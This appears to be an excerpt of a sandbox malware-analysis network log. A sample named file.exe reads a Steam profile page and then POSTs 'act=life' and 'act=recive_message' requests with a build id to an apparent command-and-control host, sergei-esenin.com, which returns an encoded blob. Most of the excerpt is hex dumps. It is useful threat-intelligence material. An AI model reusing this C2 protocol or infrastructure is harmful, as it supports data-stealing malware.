Oct 17, 2024 18:40:19.339112997 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 17, 2024 18:40:19.339131117 CEST	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 17, 2024 18:40:19.339178085 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 17, 2024 18:40:19.339278936 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 17, 2024 18:40:19.339301109 CEST	1236	IN	Data Raw: f6 93 4d 1d ac 31 c6 08 23 5d 4a 44 0b de 3e 87 c7 44 c1 10 11 f8 dc df 3c d3 fc ee 27 43 09 1d b8 53 82 6b e0 ac d8 1c 37 79 5f 69 70 7f c7 ef 21 41 19 6f b5 a2 84 04 ea 24 c1 00 ea 24 c1 0c ea 24 c1 08 ea 24 c1 34 ea 24 c1 30 ea 24 c1 3c ea 24 Data Ascii: M1#]JD>D<'CSk7y_ip!Ao$$$$4$0$<$8$$fgv'';Rq3j3as#hjdTmB_-474F +lnBUaej:]o$HIVKga{!IwF]k=D@H,M+3V~
Oct 17, 2024 18:40:19.339456081 CEST	1236	IN	Data Raw: 61 15 73 dc 3b 53 08 87 63 17 5f af c1 2d ea 1b f7 ad 23 b6 33 b2 81 d7 08 5d 9c 46 6b 52 98 fe 1d 06 72 53 21 19 83 e7 ec 80 8c 45 e0 de 00 7f 64 5d 2c 49 a7 be 62 64 f3 1c 40 62 dd 42 e1 a8 19 8d 14 ab 77 34 bb 5d f6 cd d8 8e 47 5e 0a 85 fa 46 Data Ascii: as;Sc_-#3]FkRrS!Ed],Ibd@bBw4]G^F:)}a/URi1^SyTxqdTYuHs+z[ZzAPRyC4S>b(P\tl24 kh<BE$p}HpF)
Oct 17, 2024 18:40:19.339476109 CEST	1236	IN	Data Raw: 4d 65 f8 e4 f8 52 40 49 33 83 e8 90 7b f5 71 47 db 15 ef d2 00 81 71 d4 eb 33 75 44 41 54 f6 67 cf 55 83 96 0b 0a 80 68 6b 16 bc a3 9e 08 f8 0c f8 52 2c 5f d7 08 19 a4 2d 2b c0 d4 f8 80 1c 15 be 36 68 41 00 a6 98 47 93 51 6a 3e c7 f9 22 1c a3 0a Data Ascii: MeR@I3{qGq3uDATgUhkR,_-+6hAGQj>"D(*`2H\7Hh\|@~LGGA(Tc\|"GYCU~Y}\c7sgotO40U6k3gG'!tTTOF:-9D?C<Hq,RI."
Oct 17, 2024 18:40:19.339498043 CEST	760	IN	Data Raw: f0 57 46 c8 10 37 d5 4a 03 0a d2 2c 0e 3f 0e 78 b7 60 50 cf f8 d8 98 5b 75 63 14 2a 21 c5 f1 88 eb e8 80 eb 0f 1a e2 ab ea 51 89 5c db 95 b3 8b 47 ca a6 ee 1e 00 98 f0 29 db 89 0e c7 8d be a0 e4 53 89 40 f0 bd f4 c0 84 0a 71 74 21 0a e0 5f 7b 09 Data Ascii: WF7J,?x`P[uc*!Q\G)S@qt!_{1X_#1yO+MDoT^Sn!hay!+=$nk\ZTFGIlP{))_W\|hBTPq^-zf$1n
Oct 17, 2024 18:40:19.339823008 CEST	1236	IN	Data Raw: f8 e6 b0 69 f8 e0 81 d6 07 e9 c4 cc 3b d1 98 63 35 05 61 77 50 0a 02 2c b7 ae f8 cf f8 20 98 04 75 3f 74 cc 7a d1 d5 48 eb 05 d7 8b 3f c5 91 1c 8e 0a 4c 4e 0d 2a e8 3a 37 35 28 47 21 95 14 d2 46 8d e2 bc 7b 91 89 f0 00 e1 99 44 ff 88 24 0b a3 15 Data Ascii: i;c5awP, u?tzH?LN:75(G!F{D$/"q=kc\FPu1,sb5GslHq^/>Y3^Ep1n((k}?/G9boYM\|!3@/"\"fYL_]G33M0oTH
Oct 17, 2024 18:40:19.344173908 CEST	1236	IN	Data Raw: 91 bd 8e c5 c0 18 93 93 f3 6a 5c 5f 61 f0 cc e1 02 93 cd e7 09 b5 da 51 f3 5c ce fe db 07 83 95 2c e1 55 54 72 46 ef f0 30 8c b0 b9 26 b2 7d 5d dc b0 7c 7d d4 06 cf 78 ac 55 c8 3f 22 1d c9 12 96 68 1f 58 39 86 b2 57 e3 e0 87 e2 f8 db 7a 50 5f cb Data Ascii: j\_aQ\,UTrF0&}]\|}xU?"hX9WzP_dn%UsF_KnQgU6>BsR_<[\|&txsP(8G\|I)03Q/m4HR$P%MTi&6*P/.An

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49721	92.122.104.90	443	3300	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:38:26 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-10-17 16:38:26 UTC	1917	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https:// [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Thu, 17 Oct 2024 16:38:26 GMT Content-Length: 35741 Connection: close Set-Cookie: sessionid=aaf98a2f33ad4f691fefe139; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cb3e1a0cb63bea3f237584fc972a7c186; Path=/; Secure; HttpOnly; SameSite=None
2024-10-17 16:38:26 UTC	14467	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-10-17 16:38:26 UTC	10109	IN	Data Raw: 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 64 69 73 63 75 73 73 69 6f 6e 73 2f 22 3e 0d 0a 09 09 09 09 09 09 44 69 73 63 75 73 73 69 6f 6e 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 77 6f 72 6b 73 68 6f 70 2f 22 3e 0d 0a 09 09 09 09 09 09 57 6f 72 6b 73 68 6f 70 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 Data Ascii: <a class="submenuitem" href="https://steamcommunity.com/discussions/">Discussions</a><a class="submenuitem" href="https://steamcommunity.com/workshop/">Workshop</a><a class="submenuit
2024-10-17 16:38:26 UTC	11165	IN	Data Raw: 75 6f 74 3b 2c 26 71 75 6f 74 3b 46 52 4f 4d 5f 57 45 42 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 57 45 42 53 49 54 45 5f 49 44 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 43 6f 6d 6d 75 6e 69 74 79 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 42 41 53 45 5f 55 52 4c 5f 53 48 41 52 45 44 5f 43 44 4e 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 73 68 61 72 65 64 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 43 4c 41 4e 5f 43 44 4e 5f 41 53 53 45 54 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 63 6c 61 6e 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 5c 2f 26 71 75 6f 74 3b 2c 26 71 Data Ascii: uot;,"FROM_WEB":true,"WEBSITE_ID":"Community","BASE_URL_SHARED_CDN":"https:\/\/shared.cloudflare.steamstatic.com\/","CLAN_CDN_ASSET_URL":"https:\/\/clan.cloudflare.steamstatic.com\/",&q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49732	172.67.206.204	443	3300	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:38:27 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: sergei-esenin.com
2024-10-17 16:38:27 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-17 16:38:27 UTC	564	IN	HTTP/1.1 403 Forbidden Date: Thu, 17 Oct 2024 16:38:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=m9n5j%2BIYgvsvUluIqUsCKv2cO4qSm9%2FePn92Q3As8O0BV%2BHiPi40bFhfxvwK6Y%2BqMl5dx6305YhWj6wOlUmJKBGxmsu78yI968lFO%2FfY4Yzpdp2cfVvbHESuwmyYfK4YfiVC4Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d41b81749270c3a-DFW
2024-10-17 16:38:27 UTC	805	IN	Data Raw: 31 31 35 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1154<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2024-10-17 16:38:27 UTC	1369	IN	Data Raw: 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 65 45 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d Data Ascii: n-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElem
2024-10-17 16:38:27 UTC	1369	IN	Data Raw: 63 63 65 73 73 2d 6d 61 6e 61 67 65 6d 65 6e 74 2f 70 68 69 73 68 69 6e 67 2d 61 74 74 61 63 6b 2f 22 20 63 6c 61 73 73 3d 22 63 66 2d 62 74 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 34 30 34 30 34 30 3b 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 62 6f 72 64 65 72 3a 20 30 3b 22 3e 4c 65 61 72 6e 20 4d 6f 72 65 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 66 6f 72 6d 20 61 63 74 69 6f 6e 3d 22 2f 63 64 6e 2d 63 67 69 2f 70 68 69 73 68 2d 62 79 70 61 73 73 22 20 6d 65 74 68 6f 64 3d 22 47 45 54 22 20 65 6e 63 74 79 70 65 3d 22 74 65 78 74 2f 70 6c 61 69 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: ccess-management/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">Learn More</a> <form action="/cdn-cgi/phish-bypass" method="GET" enctype="text/plain">
2024-10-17 16:38:27 UTC	901	IN	Data Raw: 30 2e 38 32 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f 72 6d 61 6e 63 65 20 26 61 6d 70 3b 20 73 65 63 75 72 69 74 79 20 62 79 3c 2f 73 70 61 6e 3e 20 3c 61 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 35 78 78 2d 65 72 72 6f 72 2d 6c 61 Data Ascii: 0.82</span> <span class="cf-footer-separator sm:hidden">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-la
2024-10-17 16:38:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49738	172.67.206.204	443	3300	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:38:28 UTC	354	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=ajDQF8.Td1Za2DoBSCkWqkkvtapf5023ZAaKCJQncig-1729183107-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: sergei-esenin.com
2024-10-17 16:38:28 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-17 16:38:29 UTC	829	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:38:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hsrqirssvqu183sigskv8e73h9; expires=Mon, 10 Feb 2025 10:25:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=G16%2BfxrMw5vuE%2BBVTjBrcsiS3JrHWEKDA66AA97KfoVXhQukUv9bJrKKdIaBIZPMMT9d0TJ0q2AMx1gCnM97gW3WrmwkniRAotBfduu%2B8VYbwl3HU%2BRiGwsPbPvrCEd7L93jvA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d41b81d69d06b57-DFW alt-svc: h3=":443"; ma=86400
2024-10-17 16:38:29 UTC	540	IN	Data Raw: 34 33 63 38 0d 0a 70 6e 59 6c 48 57 34 77 51 32 4d 37 45 6b 41 42 53 4e 2b 38 5a 4f 34 33 4e 38 77 39 57 31 4e 35 53 38 67 41 46 72 61 2b 38 32 6e 64 56 46 4d 2f 56 41 52 76 51 55 68 33 59 6a 73 38 72 63 6b 42 77 68 56 57 71 42 39 68 4e 52 67 6e 75 32 55 36 6c 4d 69 65 53 35 77 51 52 48 45 64 56 57 39 42 58 6d 70 69 4f 78 4f 6b 6e 67 47 41 46 51 33 75 57 44 45 78 47 43 65 71 59 58 33 5a 7a 70 38 4b 7a 68 70 43 64 51 74 54 4a 77 4a 58 66 79 56 6b 4c 62 37 57 43 6f 64 61 58 36 45 66 64 33 45 63 4d 65 6f 36 4e 50 76 62 68 77 6a 72 46 31 5a 32 54 45 31 76 47 42 6c 33 4c 69 4e 79 2f 64 30 42 6a 46 74 52 71 46 59 7a 4f 78 45 76 71 32 52 38 78 74 65 56 41 63 34 55 51 58 51 42 57 6a 4d 50 58 58 67 75 59 69 65 2b 6e 6b 6a 4d 55 6b 33 75 42 33 6c 69 4b 53 71 37 63 Data Ascii: 43c8pnYlHW4wQ2M7EkABSN+8ZO43N8w9W1N5S8gAFra+82ndVFM/VARvQUh3Yjs8rckBwhVWqB9hNRgnu2U6lMieS5wQRHEdVW9BXmpiOxOkngGAFQ3uWDExGCeqYX3Zzp8KzhpCdQtTJwJXfyVkLb7WCodaX6Efd3EcMeo6NPvbhwjrF1Z2TE1vGBl3LiNy/d0BjFtRqFYzOxEvq2R8xteVAc4UQXQBWjMPXXguYie+nkjMUk3uB3liKSq7c
2024-10-17 16:38:29 UTC	1369	IN	Data Raw: 68 54 57 61 39 61 65 58 39 62 4c 72 49 69 4c 4a 54 79 6c 67 6a 57 56 6e 4a 38 41 6c 77 6d 46 78 6c 76 62 48 70 71 75 74 4a 47 31 42 56 62 71 31 41 72 4d 41 6b 73 70 48 42 34 30 64 71 63 43 4d 6f 55 51 6e 67 42 58 43 63 47 57 6e 67 6d 59 69 53 78 31 41 57 49 56 68 58 67 48 7a 34 70 57 33 48 71 55 33 66 51 32 34 4d 49 79 6c 52 59 4d 52 55 53 4a 67 30 5a 4b 47 4a 70 4c 4c 44 58 44 59 74 64 57 62 78 55 4e 6a 49 53 4c 71 78 6f 64 39 7a 57 6c 77 58 46 45 30 4a 34 48 6c 77 71 44 46 70 36 4a 43 4e 6b 2f 64 6b 65 7a 41 30 56 67 46 77 6f 4a 79 6b 71 75 33 4d 30 79 35 4b 49 53 38 4d 59 42 79 64 4d 57 79 6b 4f 56 48 30 6f 62 53 2b 77 31 77 65 4e 57 46 4f 6c 58 6a 45 35 48 79 36 71 5a 6e 6e 62 30 70 45 46 7a 42 46 44 64 51 55 53 62 30 46 65 61 47 49 37 61 6f 33 54 43 Data Ascii: hTWa9aeX9bLrIiLJTylgjWVnJ8AlwmFxlvbHpqutJG1BVbq1ArMAkspHB40dqcCMoUQngBXCcGWngmYiSx1AWIVhXgHz4pW3HqU3fQ24MIylRYMRUSJg0ZKGJpLLDXDYtdWbxUNjISLqxod9zWlwXFE0J4HlwqDFp6JCNk/dkezA0VgFwoJykqu3M0y5KIS8MYBydMWykOVH0obS+w1weNWFOlXjE5Hy6qZnnb0pEFzBFDdQUSb0FeaGI7ao3TC
2024-10-17 16:38:29 UTC	1369	IN	Data Raw: 68 56 69 73 77 46 79 65 34 5a 58 54 64 30 70 34 48 7a 52 6c 41 63 67 64 59 4c 41 56 65 63 57 49 74 61 72 72 47 52 74 51 56 59 37 35 53 4e 52 38 51 4a 61 4d 69 61 35 72 46 30 51 7a 49 56 42 38 2f 43 46 34 70 43 31 5a 35 4b 47 6b 6c 74 4e 34 4f 68 56 78 57 72 6c 4d 2f 4d 42 63 6c 70 32 64 33 30 64 47 55 43 38 67 54 51 48 35 4d 48 47 45 47 51 54 42 36 49 78 71 77 30 67 32 41 46 32 43 74 55 54 63 32 44 57 6d 31 4c 47 32 55 32 35 31 4c 6e 46 52 49 66 67 46 59 4b 67 39 56 63 53 4a 6e 4b 62 66 65 43 59 6c 54 58 61 64 66 4b 7a 59 55 4b 4b 74 70 66 39 6e 53 6c 41 72 42 45 77 63 78 54 46 55 35 51 51 45 77 44 30 6f 51 2f 63 46 49 6c 52 56 53 6f 68 39 68 63 52 38 6a 71 6d 39 2b 33 39 4f 53 44 4d 6f 55 53 6e 55 65 57 69 45 42 56 33 59 6a 62 79 2b 38 30 67 57 65 57 56 Data Ascii: hViswFye4ZXTd0p4HzRlAcgdYLAVecWItarrGRtQVY75SNR8QJaMia5rF0QzIVB8/CF4pC1Z5KGkltN4OhVxWrlM/MBclp2d30dGUC8gTQH5MHGEGQTB6Ixqw0g2AF2CtUTc2DWm1LG2U251LnFRIfgFYKg9VcSJnKbfeCYlTXadfKzYUKKtpf9nSlArBEwcxTFU5QQEwD0oQ/cFIlRVSoh9hcR8jqm9+39OSDMoUSnUeWiEBV3Yjby+80gWeWV
2024-10-17 16:38:29 UTC	1369	IN	Data Raw: 61 56 73 6f 75 47 68 2b 32 74 6d 65 44 73 63 62 51 48 49 4b 58 69 73 49 55 58 59 74 61 6a 69 2b 30 67 69 4c 57 31 6d 67 55 6a 4d 79 46 6d 6e 6b 49 6e 50 4d 6e 4d 6c 4c 36 42 4e 4b 55 51 64 65 4a 6b 46 47 50 6a 73 6a 4c 62 47 65 58 73 78 5a 58 36 4a 57 4f 54 67 65 49 61 46 72 63 64 58 58 6c 41 6a 43 47 55 68 32 48 6c 67 69 44 31 70 38 4c 6d 55 72 76 73 77 4f 68 52 55 62 37 6c 67 68 63 55 4e 70 69 32 78 35 77 4e 75 42 53 39 74 61 58 6a 38 4c 58 6d 46 5a 47 58 4d 6a 62 43 6d 38 30 77 43 46 58 56 57 6f 57 6a 59 38 46 53 36 74 59 6e 6e 61 30 35 63 44 79 52 68 4d 63 51 56 55 49 51 42 54 4d 47 77 6a 4c 61 57 65 58 73 78 6c 56 71 35 66 49 6e 45 45 5a 37 4d 69 63 39 69 63 79 55 76 57 48 6b 35 2f 44 31 30 6d 42 56 4a 38 4a 32 59 6c 76 74 63 44 68 56 74 48 70 31 45 Data Ascii: aVsouGh+2tmeDscbQHIKXisIUXYtaji+0giLW1mgUjMyFmnkInPMnMlL6BNKUQdeJkFGPjsjLbGeXsxZX6JWOTgeIaFrcdXXlAjCGUh2HlgiD1p8LmUrvswOhRUb7lghcUNpi2x5wNuBS9taXj8LXmFZGXMjbCm80wCFXVWoWjY8FS6tYnna05cDyRhMcQVUIQBTMGwjLaWeXsxlVq5fInEEZ7Mic9icyUvWHk5/D10mBVJ8J2YlvtcDhVtHp1E
2024-10-17 16:38:29 UTC	1369	IN	Data Raw: 61 74 75 65 39 66 54 6b 67 6a 46 48 6c 56 74 41 46 73 70 42 46 56 37 4c 47 55 34 75 39 45 50 6a 31 5a 63 71 56 63 31 4f 78 67 75 36 69 77 30 30 38 54 52 55 34 51 33 55 47 38 42 45 6a 35 50 51 44 41 6c 62 32 72 6c 6e 67 36 42 58 56 2b 71 57 44 51 32 48 53 43 34 61 33 48 61 33 4a 55 41 79 78 4a 44 66 41 78 41 4a 77 56 52 63 79 39 75 4a 4c 37 61 52 73 49 56 55 72 59 66 59 58 45 70 4a 4b 52 35 65 39 50 4e 6d 30 76 62 57 6c 34 2f 43 31 35 68 57 52 6c 30 4c 48 45 68 76 4e 55 4e 67 6c 4a 61 71 31 55 35 50 68 38 71 70 47 6c 31 31 39 53 63 42 73 6f 65 54 6e 59 4c 58 69 55 47 47 54 35 69 5a 44 4c 39 68 6b 61 6e 64 48 69 43 57 43 4e 78 42 47 65 7a 49 6e 50 59 6e 4d 6c 4c 79 42 31 4c 64 51 64 56 4b 77 39 51 66 69 6c 78 4f 4c 37 61 42 59 56 57 55 71 64 52 4f 54 59 65 Data Ascii: 